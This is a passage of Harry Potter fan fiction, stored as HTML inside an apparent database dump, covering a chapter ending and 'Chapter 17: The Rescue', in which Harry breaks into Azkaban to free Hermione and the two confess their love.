style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No!&quot;\nsaid Harry.&nbsp; &quot;We need you and Remus\nto stay here and mobilize the armies.&nbsp;\nIf all goes well, we\'ll be prepared for the final battle right when we\nreturn.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;But\nHarry,&quot; said Remus.&nbsp; &quot;What\nabout the dementors.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry grinned.&nbsp;\n&quot;You forget Remus, that you\'re the one who taught me how to use the\npatronus charm.&quot;&nbsp; He took on a more\nstern tone as he said &quot;All right, who else?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore suddenly spoke up, &quot;I request\nthat you take Sir Draco Malfoy with you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;WHAT?!&quot;&nbsp; Draco looked absolutely horrified.&nbsp; Dumbledore simply beamed at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Would it not\nbe the perfect chance prove where your loyalties lie?&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Fine,&quot;\nDraco grumbled.&nbsp; &quot;I\'ll go, but only\nbecause she has the rings with her.&quot;&nbsp;\nRon didn\'t look too pleased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;All right\nthen,&quot; said Harry.&nbsp; &quot;We\'ll\ntake Floo Powder to Bueaxbaton first thing tomorrow.&nbsp; In the mean time, we should get some sleep.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">That night, Harry was out on the balcony of his\nroom, looking up at the stars while stroking Crookshanks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You seemed troubled, Harry.&quot;&nbsp; Harry turned around and so Dumbledore with\nhis pet phoenix, Fawkes, on his shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed.&nbsp;\n&quot;I can\'t help but think about Hermione in Azkaban.&nbsp; Nobody deserves that, especially\nher.&quot;&nbsp; He looked back up at the\nstars.&nbsp; &quot;I love her.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Ah,&quot; said Dumbledore.&nbsp; &quot;I figured as much.&nbsp; She was also just as fond of you as you are\nfond of her.&nbsp; But she was very self\nconscious about her social standing.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed again.&nbsp; &quot;I should\'ve known how she felt about me, after she kissed\nme at Ginny\'s celebration.&nbsp; It was after\nthat kiss that I started developing feelings for her.&quot;&nbsp; He made a weak smile.&nbsp; &quot;Guess I don\'t blame her about being so\nself conscious of our social standings.&nbsp;\nI mean, the idea of a Gryffindor prince marrying a farm girl would sound\nabsurd if it hadn\'t happened before.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore smiled as Fawkes flew up and perched\nhimself on Harry\'s shoulders.&nbsp; The\nphoenix started singing his enchanted song, inspiring hope and courage to build\nup in Harry\'s heart.&nbsp; &quot;I\'ll save\nher,&quot; declared Harry.&nbsp; &quot;I\nswear that I will get her out of Azkaban on my parents\' souls.&nbsp; I\'ll love her with all my heart and I\npromise to make her happy!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 17, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: All hail J.K. Rowling, the creator\nof this series.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 17: The Rescue</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione shivered in the cold.&nbsp; She was no longer in the shackles and was\nrelieved of the pain in her arms and shoulders.&nbsp; However, the thin rags that covered her body did little to block\nout the freezing cold as she lay on the stone floor in a corner of her cell.&nbsp; She hadn\'t seen anyone since the Death\nEaters had released her from the shackles, given her the rags and placed the\nCruciatus Curse on her again: it seemed like ages ago.&nbsp; She had no idea how long it had been since\nshe was kidnapped, her sense of time long gone in the continuing darkness.&nbsp; She was hungry, only given a few bare scraps\nto eat though she had plenty of water.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And there were the dementors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dementors.&nbsp;\nVile creatures of the dark and evil.&nbsp;\nOver two meters tall in dark, billowing cloaks, with rotting, corpse\nlike hands and their faces hidden under their hoods.&nbsp; They glided around outside of her cell, sucking away all positive\nthoughts that came to her.&nbsp; They were\nthe source of her despair and misery, and whenever they were around, all\npossible happy thoughts and senses of hope were sucked away from her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione thought of Harry often, and when she\ndid so, she was filled with hopelessness.&nbsp;\nHarry was dead!&nbsp; She would never\nsee him again, even if she got out of Azkaban.&nbsp;\nTears would fall from her eyes as she whispered his name:\n&quot;Harry...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">One of the largest disadvantages Mage Knights\nhad was that they could not apparate.&nbsp;\nWhen the Death Eaters had conquered the Kingdom of Gryffindor, they had\nmanaged to spread special wards throughout Magiterran that prevented apparation\nby anyone aside from themselves.&nbsp; As a\nresult, the Mage Knights always had to physically travel to their destinations\nthat were not connected by Floo Powder.&nbsp;\nSince Azkaban fortress was located on a rocky island, a few miles south\nof the Kingdom of Slytherin, the only way the Mage Knights could get there was\nby ship.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The trip from Beauxbatons to Azkaban took about\na week and a half.&nbsp; Harry was very\nfrustrated by the amount of time it took to get there, but it was their fastest\navailable form of transportation.&nbsp; It\nwas a very dangerous trip, since the Slytherin seas were often stormy and the\nshores around Azkaban were very rocky.&nbsp;\nRon spent most of the time battling seasickness.&nbsp; After much time however, the Mage Knights\nhad finally made it to their destination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry, Ron, and Draco made their way up to the\nforeboding fortress.&nbsp; Azkaban was a\nlarge, old fortress built entirely out of dark stone.&nbsp; There were very few windows and the area seemed to be in\nperpetual darkness.&nbsp; The three of them\nwere soon standing outside of the northern wall.&nbsp; The main entrance was on the south side, but that was the last\nplace they wanted to enter from.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Ron examined the stone wall before\nthem.&nbsp; &quot;You have any idea how we\ncan get inside?&quot; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Not a\nclue,&quot; replied Harry.&nbsp; &quot;There\ncould be some hidden entrance or something around here, but unless we take a\ncloser look....&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Reducto!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Ron were horrified as Draco blasted a\nlarge hole into the wall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What are you\ndoing?!&nbsp; Blowing our cover?!&quot;\ndemanded Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco simply shrugged.&nbsp; &quot;You wanted an entrance, I just made\none.&quot;&nbsp; He strolled into the\nfortress and Harry and Ron grudgingly followed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Lumos.&quot;</i>&nbsp; The Mage Knights\' blades gave off a bright\nlight that illuminated the darkness as they made their way through\nAzkaban.&nbsp; After searching for some time,\nthe three Mage Knights entered a large chamber and stopped abruptly.&nbsp; In the chamber were Icicle, McNair, Crabbe,\nGoyle, Wormtail, Crouch II, and about a dozen dementors!&nbsp; The Death Eaters were completely shocked to\nsee Harry, Ron, and Draco in Azkzban.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Mage\nKnights?!&nbsp; In Azkaban?!&nbsp; How?!&quot; shouted McNair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry!&quot;\nshouted Ron.&nbsp; &quot;Go!&nbsp; Find Hermione!&nbsp; Now!&quot;&nbsp; He raised his\nsword.&nbsp; &quot;We\'ll take care of this\nlot!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What?!&quot;\nyelled Harry.&nbsp; &quot;Are you\ncrazy?!&nbsp; I\'m not going to leave you\nalone to fight them!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Go,\nDammit!&nbsp; Hermione needs help more than\nwe do!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry hesitated for a moment before he tore\ndown a different corridor.&nbsp; &quot;Follow\nhim!&quot; yelled Icicle.&nbsp; The dementors\nswarmed after Harry.&nbsp; \'Good,\' thought\nHarry.&nbsp; \'That means Ron and Malfoy will\nonly have to deal with the Death Eaters and not the dementors!\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After running down the corridor for some time,\nHarry suddenly turned around and faced the dementors.&nbsp; Thinking up a happy thought, namely the fact that he would see\nHermione again soon, Harry raised his sword and bellowed <i>&quot;Expecto\nPatronum!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A silver image of a stag leaped out of Harry\'s\nblade.&nbsp; \'My father had the ability to\ntransform into a stag,\' remembered Harry as the patronus charged at the\ndementors.&nbsp; Soon, the dementors were\ndriven away by the stag and Harry was able to continue his search again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron was having a hell of a time fighting off\nMcNair, Crouch, and Wormtail.&nbsp; Sounds of\nmetal hitting metal constantly rang throughout the chamber as Ron\'s sword made\ncontact with McNair\'s battle axe and Crouch\'s two single edged swords.&nbsp; &quot;You\'re a fool, Weasley,&quot; taunted\nCrouch as Ron worked to deflect the blades that were flying his way.&nbsp; &quot;Did you really think you could defeat\nall of us just yourself?&quot;&nbsp; Ron\nsimply growled and fought more fiercely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco, meanwhile, was having his own problems.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Crucio!&quot;&nbsp; </i>Draco dodged the curse fired by Icicle.&nbsp;\nBefore she had another chance to fire another curse, Draco leapt forward\nand swung his sword down.&nbsp; The blade\nconnected with Icicle\'s staff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\'re a\ntraitor, Draco!&quot; sneered Icicle.&nbsp;\n&quot;You betrayed us and became a Mage Knight!&nbsp; Lucius was oh so disappointed in you!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Consider it,\nmy greatest privilege!&quot; snarled Draco.&nbsp;\nHe shoved Icicle away and swung his sword at her again.&nbsp; The blade and staff once again\nconnected.&nbsp; Draco placed a few well aimed\nkicks on Goyle and Crabbe so he could concentrate on Icicle.&nbsp; Icicle attempted to knock Draco off his feet\nwith her staff, only to have her attacks blocked by Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry checked a number of cells without\nluck.&nbsp; Finally he came up to a small,\nmetal door in a secluded part of the fortress.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Alohomora.&quot;</i>&nbsp; The door unlocked and flew open.&nbsp; Harry stepped inside. There, lying in the\ncorner, was Hermione.&nbsp; She was pale,\ndirty, and thin.&nbsp; She was dressed in\nthin rags, her hair was in knots, and her cheeks were tear stained.&nbsp; To Harry, however, she was the most\nbeautiful thing he had ever seen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s eyes went wide as she looked up at\nthe doorway.&nbsp; &quot;H...Harry?&nbsp; I...it can\'t be!&nbsp; Y...you\'re d...d...dead!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hermione!&nbsp; I\'m alive,&quot; said Harry with a smile on\nhis face.&nbsp; &quot;Snape\'s charm absorbed\nthe killing curse.&quot;&nbsp; He kneeled\nright in front of her.&nbsp; Hermione\napprehensively placed a hand on his cheek to confirm that she wasn\'t seeing\nthings.&nbsp; As soon as she realized that it\nwas indeed Harry in front of her, she threw her arms around him and sobbed on\nhis shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I...I\nthought that I would n...never see y...you again.&quot; she said between tears.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;So did\nI,&quot; said Harry as he hugged her back.&nbsp;\nHe just sat there for a few moments, letting her cry on his\nshoulder.&nbsp; After her tears had subsided\na little, Hermione pulled away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry, why\ndid you say that you loved me?&quot; she asked.&nbsp; Confusion was written all over@her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry smiled at her.&nbsp; &quot;I was being honest with you, just the way you were being\nhonest when you told me that you loved me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why?&quot;\nasked Hermione.&nbsp; Her head was a jumble\nof confusion and tears started to build in her eyes again.&nbsp; &quot;I\'m a farm girl, you\'re a prince.&nbsp; Shouldn\'t it not be possible?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well,\nsomeone should of told my dad that when he married my mum,&quot; said Harry\nwith mock seriousness.&nbsp; He smiled at her\nbewilderment. &nbsp;&quot;Hermione, my\nmother, Lily Evans, was muggle-born.&nbsp;\nShe was a farm girl, just like you.&nbsp;\nAnd yet she married my dad, the heir to the throne of Gryffindor.&nbsp; That\'s why she was a champion of muggle and\ncommoner rights, because she used to be one of them.&nbsp; Social standings never mattered to the Gryffindor Royal family,\nand they sure as heck don\'t matter to me!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione gave Harry a small smile as more tears\nstreamed down her face.&nbsp; Harry leaned\nforward a little and their lips met.&nbsp; It\nwas a simple kiss, but it still showed the strong passion and love that the two\nfelt for each other.&nbsp; After a few\nminutes, they parted.&nbsp; Harry was\ngrinning and Hermione had a shy smile on her face as tears of joy fell from her\neyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I love you,\nHermione.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I...I love\nyou too, Harry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Come\non.&nbsp; Let\'s get you out of\nhere.&quot;&nbsp; Harry waved his left hand,\nand Hermione\'s rags transfigured into her usual blue and white travel robes and\nshoes.&nbsp; Unfortunately, she was too weak\nto walk so Harry put his hands under her knees and back and picked her up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Thank you,\nfor saving me.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry beamed down at her.&nbsp; &quot;It was my pleasure.&quot;&nbsp; He carried Hermione out of the cell.&nbsp; Unfortunately, there was someone waiting for\nthem right outside.&nbsp; Harry stopped when he\nsaw the man with a malevolent grin on 